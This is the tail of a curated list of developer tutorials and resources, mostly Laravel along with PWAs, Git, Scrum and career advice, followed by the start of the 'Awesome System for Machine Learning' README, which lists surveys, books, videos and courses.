Middleware](https://twitter.com/themsaid/status/713784000968527872/photo/1?utm_source=fb&utm_medium=fb&utm_campaign=py_jac&utm_content=715844776327782400) * [10 less known but awesome laravel collection methods](http://laraveldaily.com/10-less-known-but-awesome-laravel-collections-methods/?utm_content=buffer89887&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer) * [Email Verification With Laravel](http://bensmith.io/email-verification-with-laravel) * [How to add tagging to your Laravel App](https://laravel-news.com/2015/10/how-to-add-tagging-to-your-laravel-app/) * [The Magic behind Laravel Valet](http://themsaid.github.io/magic-behind-laravel-valet-20160506/) * [Introduction to Laravel Valet](https://dotdev.co/laravel-valet-ab9e745dd6f0#.a8zku1fmm) * [Writing Advanced Eloquent Search Query Filters](https://dotdev.co/writing-advanced-eloquent-search-query-filters-de8b6c2598db#.jvxqc6hn5) * [Sharing data between views using Laravel view composers](https://scotch.io/tutorials/sharing-data-between-views-using-laravel-view-composers?utm_campaign=Laravel%20News&utm_medium=email&utm_source=ln105) * [A Package to manage events on google calendar](https://murze.be/2016/05/package-manage-events-google-calendar/) * [Why you shouldn't set global variables in base controller](http://laraveldaily.com/global-variables-in-base-controller/) * [Avoiding the burden of file uploads](https://cwhite.me/avoiding-the-burden-of-file-uploads/) * [Simple Vue.js pagination with Laravel](https://dotdev.co/simple-vue-js-pagination-with-laravel-33b7cfbb5ccc#.azss64yo3) * [Authentication Improvements in Laravel 5.3](https://josephsilber.com/posts/2016/07/10/authentication-improvements-in-laravel-5-3) * [Laravel/MySQL JSON documents faster lookup using generated columns](http://themsaid.com/laravel-mysql-json-colum-fast-lookup-20160709/) * [Implementing smart search with Laravel and typeaheadjs](https://scotch.io/tutorials/implementing-smart-search-with-laravel-and-typeahead-js) * [Setting up multi-auth in Laravel 5.2](https://metricloop.com/blog/setting-up-multi-auth-in-laravel-52) * [Deep Dive into Laravel Echo](https://mattstauffer.co/blog/introducing-laravel-echo) * [5.3 feature announcements from Laracon](https://mattstauffer.co/blog/5-3-feature-announcement-notes-from-laracon) * [Creating your first Laravel app and adding authentication](https://auth0.com/blog/creating-your-first-laravel-app-and-adding-authentication/) * [Building a single page app from scratch with vuejs and Laravel](http://taha-sh.com/blog/building-a-single-page-application-from-scratch-with-vuejs-and-laravel) * [Tracking if a user is online in Laravel](https://erikbelusic.com/tracking-if-a-user-is-online-in-laravel/) * [Understanding the Laravel service Container](https://dotdev.co/understanding-laravel-service-container-bd488ca05280#.j8m80swcl) * [Scaling Laravel using AWS Elastic Beanstalk Part 1: Setting up Laravel](https://deliciousbrains.com/scaling-laravel-aws-elastic-beanstalk-part-1-setting-up-laravel/) * [Scaling Laravel using AWS Elastic Beanstalk Part 2: Setting up VPC, RDS, Elasticache](https://deliciousbrains.com/scaling-laravel-using-aws-elastic-beanstalk-part-2-setting-up-vpc-rds-elasticache/) * [Scaling Laravel using AWS Elastic Beanstalk Part 3: Setting up Elastic Beanstalk](https://deliciousbrains.com/scaling-laravel-using-aws-elastic-beanstalk-part-3-setting-elastic-beanstalk/) * [Parsing Yaml Files in Laravel 5](https://medium.com/@calina_t/parsing-yaml-files-in-laravel-5-bca2ead5242e#.qxqvmroyf) * [How to: Soft Deleting and Restoring in Laravel](https://metricloop.com/blog/how-to-soft-deleting-and-restoring-in-laravel) * [Crud Operations using Jquery, Ajax Laravel 5.3](http://way2php.com/crud-operations-using-jquery-ajax-laravel-5-3/) * [Throttle Password Reset](https://alfrednutile.info/posts/194) * [Higher Order Messaging Implementation feature](https://laravel-news.com/2016/11/higher-order-messaging/) * [Laravel Spark Tests Code - All Spark Integration Tests](https://github.com/laravel/spark-tests/tree/3.0/tests) * [2FA in Laravel with Google Authenticator](https://www.sitepoint.com/2fa-in-laravel-with-google-authenticator-get-secure/) * [Multi-tenant Saas API using Laravel - Setting Up](http://ralphowino.com/blog/multi-tenant-saas-api-using-laravel-setting-up/) * [Getting Started with Pusher and Laravel Echo](https://www.youtube.com/watch?v=Qoti7G-tjN8&feature=youtu.be) * [10 days of Laravel 5 - Building a Laravel Survey App](https://blog.khophi.co/10-days-laravel-5-laravel-survey-app/) * [Laravel and AWS](https://vimeo.com/190974122) * [Laravel 5 Instagram API tutorial](http://itsolutionstuff.com/post/laravel-5-instagram-api-tutorial-with-exampleexample.html) * [Testing Laravel Middleware](http://matthewdaly.co.uk/blog/2016/11/29/testing-laravel-middleware/#.WD4IzZqynr4.twitter) * [Overriding Laravels Helper functions](https://murze.be/2016/12/overriding-laravels-helper-functions/) * [How to auto-validate eloquent models on Laravel 5.3](https://unnikked.ga/how-to-auto-validate-eloquent-models-on-laravel-5-3-47d8f8cc5cdf#.rhg73d11p) * [Introducing Laravel Mix - New in Laravel 5.4](https://mattstauffer.co/blog/introducing-laravel-mix-new-in-laravel-5-4) * [How to integrate paypal gateway with Laravel 5.4](http://itsolutionstuff.com/post/how-to-integrate-paypal-payment-gateway-with-laravel54example.html) * [Vue 2.0 and Laravel 5.3 Series](https://www.youtube.com/playlist?list=PL3ZhWMazGi9IommUd5zQmjyNeF7s1sP7Y) * [Introducing Laravel Dusk - New in Laravel 5.4](https://mattstauffer.co/blog/introducing-laravel-dusk-new-in-laravel-5-4) * [Integrating Laravel and Flarum](https://wogan.blog/2017/02/12/integrating-laravel-and-flarum/) * [Understanding the Laravel Macroable trait](https://unnikked.ga/understanding-the-laravel-macroable-trait-dab051f09172#.le9dgvs7j) * [Upload Multiple Files in Laravel 5.4](http://laraveldaily.com/upload-multiple-files-laravel-5-4/) * [Non-breaking, SEO friendly urls in Laravel](https://sebastiandedeyne.com/posts/2017/non-breaking-seo-friendly-urls-in-laravel) * [Image Upload and Validation using Laravel and VueJS](https://medium.com/@jagadeshanh/image-upload-and-validation-using-laravel-and-vuejs-e71e0f094fbb#.y6rcd3dgp) * [Testing Partial JSON Responses with Laravel](https://laravel-news.com/testing-partial-json) * [Laravel 5.4 native User Authentication + Role Authorization](https://medium.com/@ezpabon/laravel-5-4-native-user-authentication-role-authorization-3dbae4049c8a) * [Laravel Translation via Google Spreadsheet](https://medium.com/skyshidigital/laravel-translation-via-google-spreadsheet-9e7b6d9b45b2) * [Laravel AJAX File Upload with BlueImp JQuery Library](http://laraveldaily.com/laravel-ajax-file-upload-blueimp-jquery-library/) * [Step by Step Guide to Building Your First Laravel Application](https://laravel-news.com/your-first-laravel-application/) * [Laravel Dusk Series by DevDojo](https://devdojo.com/series/laravel-dusk/episode/intro) * [Building a User Invitation System with Laravel](https://laravel-news.com/user-invitation-system) * [Running Dusk tests on Travis CI and CircleCI](https://laravel-news.com/laravel-dusk-continuous-integration) * [How to build youtube like app with Laravel and Vuejs](http://www.qcode.in/youtube-like-app-vue-js-laravel/) * [An Introduction to Laravel Authorization Gates](https://laravel-news.com/authorization-gates) * [Building an Interactive Voice Response System with Laravel and Nexmo](https://laravel-news.com/laravel-hotline-ivr) * [Rebuild Twitter with Laravel — User and Authentication - Part 1](https://medium.com/@just4sky/rebuild-twitter-with-laravel-user-and-authentication-9b0adb392dc6) * [Rebuild Twitter with Laravel-Followers - Part 2](https://medium.com/@just4sky/rebuild-twitter-with-laravel-followers-fdecaae22499) * [Rebuild Twitter with Laravel — Timeline - Part 3](https://medium.com/@just4sky/rebuild-twitter-with-laravel-timeline-2a2b63ca8e1b) * [Learn how to Improve the performance of your Laravel app with Performant Laravel](https://laravel-news.com/performant-laravel) ### Search - Specific Resource * [Learning ElasticSearch With Laravel](https://michaelstivala.com/learning-elasticsearch-with-laravel/) * [Build Search Functionality with Laravel Scout & VueJs](https://scotch.io/tutorials/build-search-functionality-with-laravel-scout-and-vue-js) * [50 Laravel Tricks](https://murze.be/2015/11/50-laravel-tricks/) * [Login With Email Or Username (In One Field)](http://laraveldaily.com/laravel-login-email-username-one-field/) * [Model Default Ordering: Assigning Global Scope](http://laraveldaily.com/model-default-ordering-assigning-global-scope/) * [Autocomplete using Laravel and VueJS](https://medium.com/@jagadeshanh/autocomplete-using-laravel-and-vuejs-b892f104372d#.5k93o4wet) * [How make Laravel and ElasticSearch become friends](https://medium.com/@babenko.i.a/how-to-make-laravel-and-elasticsearch-become-friends-55ed7690331c) ## Machine Learning * [Machine Learning - Google Crash Course](https://developers.google.com/machine-learning/crash-course/) ## Ionic * [raymondcamden.com](http://www.raymondcamden.com/) * [mcgivery.com](http://mcgivery.com/) * [joshmorony.com](http://www.joshmorony.com/category/ionic-tutorials/) * [gajotres.net](http://www.gajotres.net/) * [devdactic.com](https://devdactic.com/) * [blog.nraboy.com](https://blog.nraboy.com/) * [gonehybrid.com](http://gonehybrid.com/) * [Mastering the Ionic Framework](https://thinkster.io/topics/ionic) ### Specific Resource * [Ionic Adventures](https://github.com/juarezpaf/ionic-adventures) * [170+ Ionic Framework Resources](http://mcgivery.com/100-ionic-framework-resources/) * [Ionic SocketIO Chat Application Tutorial](https://www.airpair.com/ionic-framework/posts/ionic-socketio-chat-application-tutorial) * [Create a File Browser Using Ionic Framework](https://www.airpair.com/ionic-framework/posts/ionic-file-browser-app) * [The Definitive Ionic Starter Guide](https://www.airpair.com/ionic-framework/posts/the-definitive-ionic-starter-guide) * [Building Real-Time, Multi-Platform Mobile Applications Using Ionic and Firebase](http://www.toptal.com/front-end/building-multi-platform-real-time-mobile-applications-using-ionic-framework-and-firebase) * [Build a Real Time Hybrid App with Ionic and Firebase](https://www.airpair.com/angularjs/posts/build-a-real-time-hybrid-app-with-ionic-firebase) * [Using Local Notifications in Your Ionic Framework App](http://devdactic.com/local-notifications-ionic/) * [How to handle User Authentication With AngularJs in your Ionic App](http://devdactic.com/user-auth-angularjs-ionic/) * [Ultimate angularjs and Ionic Performance Cheat Sheet](http://julienrenaux.fr/2015/08/24/ultimate-angularjs-and-ionic-performance-cheat-sheet/) * [Awesome Ionic](https://github.com/Alexintosh/Awesome-Ionic) ## Firebase ### Specific Resource * [Getting Started with File Storage with Firebase](https://www.youtube.com/watch?v=SpxHVrpfGgU) * [Firebase: Building a realtime App](https://www.airpair.com/firebase/posts/firebase-building-realtime-app) * [Firebase Database for SQL Developers Series](https://www.youtube.com/watch?v=SfenWGeHarE) * [Creating a Web App from Scratch Using Firebase and AngularJS](https://code.tutsplus.com/tutorials/creating-a-web-app-from-scratch-using-angularjs-and-firebase--cms-22391) * [Firebase Android Codelab](https://codelabs.developers.google.com/codelabs/firebase-android) ## Successful Developer Strategies * [Successful Developer Career Strategies](http://www.outlierdeveloper.com/qa-successful-developer-career-strategies/) * [Advice for Aspiring Programmers](https://abdulapopoola.com/2016/05/02/advice-for-aspiring-programmers/?blogsub=confirming#blog_subscription-4) * [Software Developer Resume Anti Patterns](https://medium.com/@mhriess/software-developer-resume-anti-patterns-4e906f2314cd#.17hihnysz) * [What are the things required to become a hardcore programmer?](https://www.quora.com/What-are-the-things-required-to-become-a-hardcore-programmer) * [Finding time to become a better developer](https://medium.freecodecamp.com/finding-time-to-become-a-better-developer-eebc154881b2#.mjn6rpelt) * [One way to greatness: Pick Yourself](https://medium.freecodecamp.com/one-way-to-greatness-pick-yourself-31945487731b) * [The Software Developer's Library: A treasure trive of books for people who love code](https://medium.com/javascript-scene/the-software-developer-s-library-a-treasure-trove-of-books-for-people-who-love-code-f9bc92c7883b#.5xcdwzaam) * [Learn to code, 13 tips that could save you years of effort](https://medium.com/javascript-scene/learn-to-code-13-tips-that-could-save-you-years-of-effort-92ce799a3e1f#.j5wmlp7gp) * [Getting to 10x Results. What any developer can learn from the best!](https://medium.com/javascript-scene/getting-to-10x-results-what-any-developer-can-learn-from-the-best-54b6c296a5ef#.1b1w14tq3) * [How to become a better developer by coding less](https://www.sitepoint.com/how-to-become-a-better-developer-by-coding-less/) * [How to think like a Programmer](https://medium.freecodecamp.org/how-to-think-like-a-programmer-3ae955d414cd) * [How to write a great resume for software engineers](https://medium.freecodecamp.org/how-to-write-a-great-resume-for-software-engineers-75d514dd8322) ## Developer Inspiring Stories * [Sebastian Mckenzie's 2015 In Review](https://medium.com/@sebmck/2015-in-review-51ac7035e272#.f5u4kzhjg) * [John Morony - Developing Authority: Year in Review 2016](http://developingauthority.com/year-in-review-2016/) ## Database ### Specific Resource * [Database Modelling Answers to several Systems](http://www.databaseanswers.org/data_models/) ## Scrum / Development Workflow * [Level up your development workflow with Github and Pivotal Tracker](http://blog.pivotal.io/labs/labs/level-up-your-development-workflow-with-github-pivotal-tracker) * [Building your own Development Environment](https://www.smashingmagazine.com/2015/07/development-to-deployment-workflow/) ### Specific Resource * [The basics of Scrum](http://www.scruminc.com/wp-content/uploads/2014/06/The-Basics-of-Scrum.pdf) * [Scrum Fundamentals](http://www.scruminc.com/scrum-fundamentals/) * [Definition of Ready](http://www.scruminc.com/definition-of-ready/) * [Definition of Done](http://www.scruminc.com/definition-of-done/) * [Scrum Team](http://www.scruminc.com/scrum-team/) * [Scrum Master](http://www.scruminc.com/scrum-master/) * [Product Owner](http://www.scruminc.com/product-owner/) * [Product Backlog](http://www.scruminc.com/product-backlog/) * [Sprint](http://www.scruminc.com/sprint/) * [Sprint burndown Chart](http://www.scruminc.com/sprint-burndown-chart/) * [Sprint Planning](http://www.scruminc.com/sprint-planning/) * [Sprint backlog](http://www.scruminc.com/sprint-backlog/) * [Sprint review](http://www.scruminc.com/sprint-review/) * [Scrum Management](http://www.scruminc.com/scrum-management/) * [Agile Defense](http://www.scruminc.com/agile-defense/) * [Velocity](http://www.scruminc.com/velocity/) * [Product Backlog Refinement](http://www.scruminc.com/product-backlog-refinement/) * [Potentially Shippable product](http://www.scruminc.com/potentially-shippable-product/) * [Product Backlog Items](http://www.scruminc.com/product-backlog-item-pbi/) * [Well Formed Stories](http://blog.pivotal.io/labs/labs/well-formed-stories) ## Git * [git-attitude.fr](http://www.git-attitude.fr/) ### Specific Resource * [Visual way to learn Git Branching](http://pcottle.github.io/learnGitBranching/) * [Getting Solid at git rebase and merge](https://medium.com/@porteneuve/getting-solid-at-git-rebase-vs-merge-4fa1a48c53aa) * [Merge or Rebase - SourceTree](https://blog.sourcetreeapp.com/2012/08/21/merge-or-rebase/) * [Git Subsplit - Splitting out a directory to its own Git Repository](https://dotdev.co/splitting-out-a-directory-to-its-own-git-repository-3e5dc410871b#.f34ik4d64) ## DevOps * [High Scalability](https://highscalability.wordpress.com/) * [Highly Scalable](http://highscalability.com/) * [Ops School](http://www.opsschool.org) * [Cron Tasks Schedule](https://crontab.guru/) ## Commandline * [Command line Power User](http://commandlinepoweruser.com/) * [Repository of Dotfiles ](http://dotfiles.github.io/) ### Specific Resource * [Awesome Zsh Plugins](https://github.com/unixorn/awesome-zsh-plugins#frameworks) ## Open Source * [Up for Grabs : Open Source Projects that require contribution](http://up-for-grabs.net/#/) * [How to be an Open Source Gardener](http://words.steveklabnik.com/how-to-be-an-open-source-gardener) * [How talks affect an Open Source Project](https://medium.com/developer-relations/how-talks-affect-an-open-source-project-e4dd1db81a6d#.hoitc2f7d) * [Contributing to your first open source project: A Practical approach](https://medium.com/@AceKYD/contributing-to-your-first-open-source-project-a-practical-approach-1928c4cbdae#.voh2zlj0o) * [List Of Public JSON APIs](https://github.com/toddmotto/public-apis) * [99 [Pr]-oblems: A beginners guide to open source](https://medium.com/clarifai-champions/99-pr-oblems-a-beginners-guide-to-open-source-abc1b867385a#.1qy4f66gq) * [Opensource Guide](https://opensource.guide/) ## Regex * [Regex One](http://regexone.com/) ## Design Patterns * [2 Design Patterns that will make your applications better](http://ryantablada.com/post/two-design-patterns-that-will-make-your-applications-better) * [Reusable Repository Design in Laravel](http://slashnode.com/reusable-repository-design-in-laravel/) ## Better Programming, Better development teams, Better Product * [Giving Better Code Reviews](https://medium.com/@mrjoelkemp/giving-better-code-reviews-16109e0fdd36#.de615s9i6) * [How to write a Great Error message](https://medium.com/@thomasfuchs/how-to-write-an-error-message-883718173322#.rdv2usryh) * [Strategies for Organizing Code](https://medium.com/@msandin/strategies-for-organizing-code-2c9d690b6f33#.e66qd6273) * [Designing great API docs](http://blog.parse.com/learn/engineering/designing-great-api-docs/) * [Why every element of SOLID is wrong](https://speakerdeck.com/tastapod/why-every-element-of-solid-is-wrong) * [What makes a Senior Software Engineer](https://dev.to/klnusbaum/what-makes-a-senior-software-engineer) * [Learning how to learn - The most important developer skill](https://medium.freecodecamp.com/learning-how-to-learn-the-most-important-developer-skill-7bf62dfaf67d#.tjo9nc9zk) * [How the Web works - A primer for newcomers to web development or anyone really](https://medium.freecodecamp.com/how-the-web-works-a-primer-for-newcomers-to-web-development-or-anyone-really-b4584e63585c#.ky995foe7) * [Roadmap to becoming a web developer in 2017](https://github.com/kamranahmedse/developer-roadmap) ## Nice & Terrific Hacks * [Slack Quick Switcher Hack](https://gist.github.com/benvan/9111039) ## Community Building * [Your Blog is the engine of Community](https://medium.com/@shanselman/your-blog-is-the-engine-of-community-cfbb21a5ae80#.tetie83sw) ## Interview Preparation for Developers * [Google Interview University](https://github.com/jwasham/google-interview-university) * [Tech Interview Handbook](https://github.com/yangshun/tech-interview-handbook) ## Progressive Web Apps * [Progressive Web apps with React - Part 1](https://medium.com/@addyosmani/progressive-web-apps-with-react-js-part-i-introduction-50679aef2b12#.92byl0ok8) * [Progressive Web apps with React - Part 2](https://medium.com/@addyosmani/progressive-web-apps-with-react-js-part-2-page-load-performance-33b932d97cf2#.xalsng8kr) * [Progressive Web apps with React - Part 3](https://medium.com/@addyosmani/progressive-web-apps-with-react-js-part-3-offline-support-and-network-resilience-c84db889162c#.hhs60ouei) * [Progressive Web apps with React - Part 4](https://medium.com/@addyosmani/progressive-web-apps-with-react-js-part-4-site-is-progressively-enhanced-b5ad7cf7a447#.9yg9btmnn) * [How to set up a basic Service Worker(With Caching) ](https://www.youtube.com/watch?v=BfL3pprhnms) * [Offline first with Service Worker - Part 1](https://bitsofco.de/bitsofcode-pwa-part-1-offline-first-with-service-worker/) * [Instant Loading with IndexedDB - Part 2](https://bitsofco.de/bitsofcode-pwa-part-2-instant-loading-with-indexeddb/) * [Push Notifications on the Web - Part 3](https://bitsofco.de/bitsofcode-pwa-part-3-push-notifications/) * [Send messages when you are back online with service workers and background sync](https://www.twilio.com/blog/2017/02/send-messages-when-youre-back-online-with-service-workers-and-background-sync.html) * [Getting started with the web share API](https://deanhume.com/Home/BlogPost/getting-started-with-the-web-share-api/10156) * [Progressive Web App libraries in Production](https://medium.com/dev-channel/progressive-web-app-libraries-in-production-b52cad37d34?imm_mid=0eeb35&cmp=em-web-na-na-newsltr_20170315#.vhk6dvnlx) * [Introducing Redux Offline-first Architecture for Progressive Web Applications & React](https://hackernoon.com/introducing-redux-offline-offline-first-architecture-for-progressive-web-applications-and-react-68c5167ecfe0) * [Rethinking Offline First sync for Service Workers](https://medium.com/offline-camp/rethinking-offline-first-sync-for-service-workers-da4727b6dee) * [Offline first for everyday developers quickly](https://medium.com/offline-camp/offline-first-for-everyday-developers-quickly-fbd0dd59c55e) * [Twitter lite and High Performance React Progressive Web Apps at Scale](https://medium.com/@paularmstrong/twitter-lite-and-high-performance-react-progressive-web-apps-at-scale-d28a00e780a3) * [Offline Sync for Progressive Web Apps](https://medium.com/ibm-watson-data-lab/offline-sync-for-progressive-web-apps-ccab6bf6db17) * [Offline first Podcasts](https://medium.com/offline-camp/offline-first-podcasts-d0be01721ee6) * [Build your first progressive web app with React](https://engineering.musefind.com/build-your-first-progressive-web-app-with-react-8e1449c575cd) * [Progressive Web Apps Training Course by Google](https://developers.google.com/web/ilt/pwa/) ## Security * [A definitive guide to Form based website authentication](http://stackoverflow.com/questions/549/the-definitive-guide-to-form-based-website-authentication) * [Elaborate Security Guide For Developers](https://github.com/FallibleInc/security-guide-for-developers) * [Cross Site Request Forgery is dead](https://scotthelme.co.uk/csrf-is-dead/) * [Preventing cross site attacks using same site cookies](https://blogs.dropbox.com/tech/2017/03/preventing-cross-site-attacks-using-same-site-cookies/) ## Authentication * [Auth Boss](https://github.com/teesloane/Auth-Boss) ## Frontend Development * [The Frontend Development Handbook](https://frontendmasters.com/books/front-end-handbook/2017/) ## Chrome Dev Tools * [Preload, Prefetch and Priorities in Chrome](https://medium.com/reloading/preload-prefetch-and-priorities-in-chrome-776165961bbf) * [Getting Started With Headless Chrome](https://developers.google.com/web/updates/2017/04/headless-chrome) ## Realtime * [How to build a realtime chart using Laravel and Pusher](https://blog.pusher.com/build-realtime-chart-using-laravel-pusher/) * [How to update a user’s status in realtime in JavaScript](https://blog.pusher.com/update-users-status-realtime-javascript/) * [How to build a collaborative note app using Laravel](https://blog.pusher.com/build-collaborative-note-app-using-laravel/) * [How to build a collaborative text editor with JavaScript](https://blog.pusher.com/build-collaborative-text-editor-javascript/) ## Stories From The Trenches * [How we fine-tuned HAProxy to achieve 2,000,000 concurrent SSL connections](https://medium.freecodecamp.com/how-we-fine-tuned-haproxy-to-achieve-2-000-000-concurrent-ssl-connections-d017e61a4d27) ## Conference Talks * [JavaScript is a Buffet, not the enemy - Chris Heilmann](https://youtu.be/rfgXKJPMCos) * [Everything is a plugin! Mastering webpack from the inside out - Sean Larkin](https://www.youtube.com/watch?v=4tQiJaFzuJ8) ## Remote Work * [Landing Jobs](https://landing.jobs) * [Remote OK](https://remoteok.io) ## How can I thank you? Why not star the github repo? I'd love the attention! Why not share the link for this repository on Twitter or HackerNews? Spread the word! Don't forget to [follow me on twitter](https://twitter.com/unicodeveloper)! Thanks! Prosper Otemuyiwa.

[](https://github.com/HuaizhengZhang/Awesome-System-for-Machine-Learning/graphs/commit-activity) [](https://github.com/HuaizhengZhang/Awesome-System-for-Machine-Learning/graphs/commit-activity) [](https://github.com/HuaizhengZhang/Awesome-System-for-Machine-Learning/commits/master) [](https://GitHub.com/Naereen/ama) [](https://awesome.re) [](https://github.com/HuaizhengZhang/Awesome-System-for-Machine-Learning/blob/master/LICENSE) [](https://GitHub.com/HuaizhengZhang/Awesome-System-for-Machine-Learning/stargazers/) # Awesome System for Machine Learning #### 💫💫💫 Updates: We have launched a new webside [Awesome AI Engineering](https://ai-engineering.club/) for this repo!!! 💫💫💫 ### *Path to system for AI* [[Whitepaper You Must Read]](./paper/mlsys-whitepaper.pdf) A curated list of research in machine learning system. Link to the code if available is also present. Now we have a [team](#maintainer) to maintain this project. *You are very welcome to pull request by using our template*.  ## General Resources - [Survey](#survey) - [Book](#book) - [Video](#video) - [Course](#course) - [Blog](#blog) ## System for AI Papers/Opensource (Ordered by Category) ### General System - [Data Processing](data_processing.md#data-processing) - [Training System](training.md#training-system) - [Inference System](inference.md#inference-system) - [Machine Learning Infrastructure](infra.md#machine-learning-infrastructure) ### Specific System - [Foundation Model Training/Serving System](foundation_model.md#foundation-model-trainingserving-system) - [AutoML System](AutoML_system.md#automl-system) - [Deep Reinforcement Learning System](drl_system.md#deep-reinforcement-learning-system) - [Edge AI](edge_system.md#edge-or-mobile-papers) - [Video System](video_system.md#video-system) - [GNN System](GNN_system.md#system-for-gnn-traininginference) - [Federated Learning System](federated_learning_system.md#federated-learning-system) ## System for ML or ML for System on Top System Conference (with notes) ### Conferene - MLsys [[2021 notes]](./note/MLSys2021.md) - NSDI [[2021 notes]](./note/NSDI2021.md) - OSDI [[2020 notes]](./note/OSDI2020.md) - SOSP - SIGCOMM - ATC - Eurosys [[2021 notes]](./note/Eurosys2021.md) - Middleware - SoCC [[2021 Notes]](./note/SoCC2021.md) - TinyML [[2021]](https://openreview.net/group?id=tinyml.org/tinyML/2021/Research_Symposium) ### Workshop - NIPS learning system workshop - ICML learning system workshop - OptML (Rising Star) - HotCloud - HotEdge - HotEdge - HotOS - NetAI (ACM SIGCOMM Workshop on Network Meets AI & ML) - EdgeSys (EuroSys workshop about edge computing) [[website]](https://edge-sys.github.io/2021/) - EuroMLSys [[website]](https://www.euromlsys.eu/#schedule) - Large-Scale Distributed Systems and Middleware (LADIS) (EuroSys workshop) [[website]](https://haoc2021.cs.jhu.edu/) ## Survey - Toward Highly Available, Intelligent Cloud and ML Systems [[Slide]](http://sysnetome.com/Talks/cguo_netai_2018.pdf) - A curated list of awesome System Designing articles, videos and resources for distributed computing, AKA Big Data. [[GitHub]](https://github.com/madd86/awesome-system-design) - awesome-production-machine-learning: A curated list of awesome open source libraries to deploy, monitor, version and scale your machine learning [[GitHub]](https://github.com/EthicalML/awesome-production-machine-learning) - Opportunities and Challenges Of Machine Learning Accelerators In Production [[Paper]](https://www.usenix.org/system/files/opml19papers-ananthanarayanan.pdf) - Ananthanarayanan, Rajagopal, et al. " - 2019 {USENIX} Conference on Operational Machine Learning (OpML 19). 2019. - How (and How Not) to Write a Good Systems Paper [[Advice]](https://www.usenix.org/legacy/events/samples/submit/advice_old.html) - Applied machine learning at Facebook: a datacenter infrastructure perspective [[Paper]](https://research.fb.com/wp-content/uploads/2017/12/hpca-2018-facebook.pdf) - Hazelwood, Kim, et al. (*HPCA 2018*) - Infrastructure for Usable Machine Learning: The Stanford DAWN Project - Bailis, Peter, Kunle Olukotun, Christopher Ré, and Matei Zaharia. (*preprint 2017*) - Hidden technical debt in machine learning systems [[Paper]](https://papers.nips.cc/paper/5656-hidden-technical-debt-in-machine-learning-systems.pdf) - Sculley, David, et al. (*NIPS 2015*) - End-to-end arguments in system design [[Paper]](http://web.mit.edu/Saltzer/www/publications/endtoend/endtoend.pdf) - Saltzer, Jerome H., David P. Reed, and David D. Clark. - System Design for Large Scale Machine Learning [[Thesis]](http://shivaram.org/publications/shivaram-dissertation.pdf) - Deep Learning Inference in Facebook Data Centers: Characterization, Performance Optimizations and Hardware Implications [[Paper]](https://arxiv.org/pdf/1811.09886.pdf) - Park, Jongsoo, Maxim Naumov, Protonu Basu et al. *arXiv 2018* - Summary: This paper presents a characterizations of DL models and then shows the new design principle of DL hardware. - A Berkeley View of Systems Challenges for AI [[Paper]](https://arxiv.org/pdf/1712.05855.pdf) ## Book - Computer Architecture: A Quantitative Approach [[Must read]](http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.115.1881&rep=rep1&type=pdf) - Distributed Machine Learning Patterns [[Website]](https://www.manning.com/books/distributed-machine-learning-patterns) - Streaming Systems [[Book]](https://www.oreilly.com/library/view/streaming-systems/9781491983867/) - Kubernetes in Action (start to read) [[Book]](https://www.oreilly.com/library/view/kubernetes-in-action/9781617293726/) - Machine Learning Systems: Designs that scale [[Website]](https://www.manning.com/books/machine-learning-systems) - Trust in Machine Learning [[Website]](https://www.manning.com/books/trust-in-machine-learning) - Automated Machine Learning in Action [[Website]](https://www.manning.com/books/automated-machine-learning-in-action) ## Video - ScalaDML2020: Learn from the best minds in the machine learning community. [[Video]](https://info.matroid.com/scaledml-media-archive-preview) - Jeff Dean: "Achieving Rapid Response Times in Large Online Services" Keynote - Velocity 2014 [[YouTube]](https://www.youtube.com/watch?v=1-3Ahy7Fxsc) - From Research to Production with PyTorch [[Video]](https://www.infoq.com/presentations/pytorch-torchscript-botorch/#downloadPdf/) - Introduction to Microservices, Docker, and Kubernetes [[YouTube]](https://www.youtube.com/watch?v=1xo-0gCVhTU) - ICML Keynote: Lessons Learned from Helping 200,000 non-ML experts use ML [[Video]](https://slideslive.com/38916584/keynote-lessons-learned-from-helping-200000-nonml-experts-use-ml) - Adaptive & Multitask Learning Systems [[Website]](https://www.amtl-workshop.org/schedule) - System thinking. A TED talk. [[YouTube]](https://www.youtube.com/watch?v=_vS_b7cJn2A) - Flexible systems are the next frontier of machine learning. Jeff Dean [[YouTube]](https://www.youtube.com/watch?v=Jnunp-EymJQ&list=WL&index=12) - Is It Time to Rewrite the Operating System in Rust? [[YouTube]](https://www.youtube.com/watch?v=HgtRAbE1nBM&list=WL&index=17&t=0s) - InfoQ: AI, ML and Data Engineering [[YouTube]](https://www.youtube.com/playlist?list=PLndbWGuLoHeYsZk6VpCEj_SSd9IFgjJ-2) - Start to watch. - Netflix: Human-centric Machine Learning Infrastructure [[InfoQ]](https://www.infoq.com/presentations/netflix-ml-infrastructure?utm_source=youtube&utm_medium=link&utm_campaign=qcontalks) - SysML 2019: [[YouTube]](https://www.youtube.com/channel/UChutDKIa-AYyAmbT45s991g/videos) - ScaledML 2019: David Patterson, Ion Stoica, Dawn Song and so on [[YouTube]](https://www.youtube.com/playlist?list=PLRM2gQVaW_wWXoUnSfZTxpgDmNaAS1RtG) - ScaledML 2018: Jeff Dean, Ion Stoica, Yangqing Jia and so on [[YouTube]](https://www.youtube.com/playlist?list=PLRM2gQVaW_wW9KAxcibxdqY_TDyvmEjzm) [[Slides]](https://www.matroid.com/blog/post/slides-and-videos-from-scaledml-2018) - A New Golden Age for Computer Architecture History, Challenges, and Opportunities. David Patterson [[YouTube]](https://www.youtube.com/watch?v=uyc_pDBJotI&t=767s) - How to Have a Bad Career. David Patterson (I am a big fan) [[YouTube]](https://www.youtube.com/watch?v=Rn1w4MRHIhc) - SysML 18: Perspectives and Challenges. Michael Jordan [[YouTube]](https://www.youtube.com/watch?v=4inIBmY8dQI&t=26s) - SysML 18: Systems and Machine Learning Symbiosis. Jeff Dean [[YouTube]](https://www.youtube.com/watch?v=Nj6uxDki6-0) - AutoML Basics: Automated Machine Learning in Action. Qingquan Song, Haifeng Jin, Xia Hu [[YouTube]](https://www.youtube.com/watch?v=9KpieG0B7VM) ## Course - CS692 Seminar: Systems for Machine Learning, Machine Learning for Systems [[GitHub]](https://github.com/guanh01/CS692-mlsys) - Topics in Networks: Machine Learning for Networking and Systems, Autumn 2019 [[Course Website]](https://people.cs.uchicago.edu/~junchenj/34702-fall19/syllabus.html) - CS6465: Emerging Cloud Technologies and Systems Challenges [[Cornell]](http://www.cs.cornell.edu/courses/cs6465/2019fa/) - CS294: AI For Systems and Systems For AI. [[UC Berkeley Spring]](https://github.com/ucbrise/cs294-ai-sys-sp19) (*Strong Recommendation*) [[Machine Learning Systems (Fall 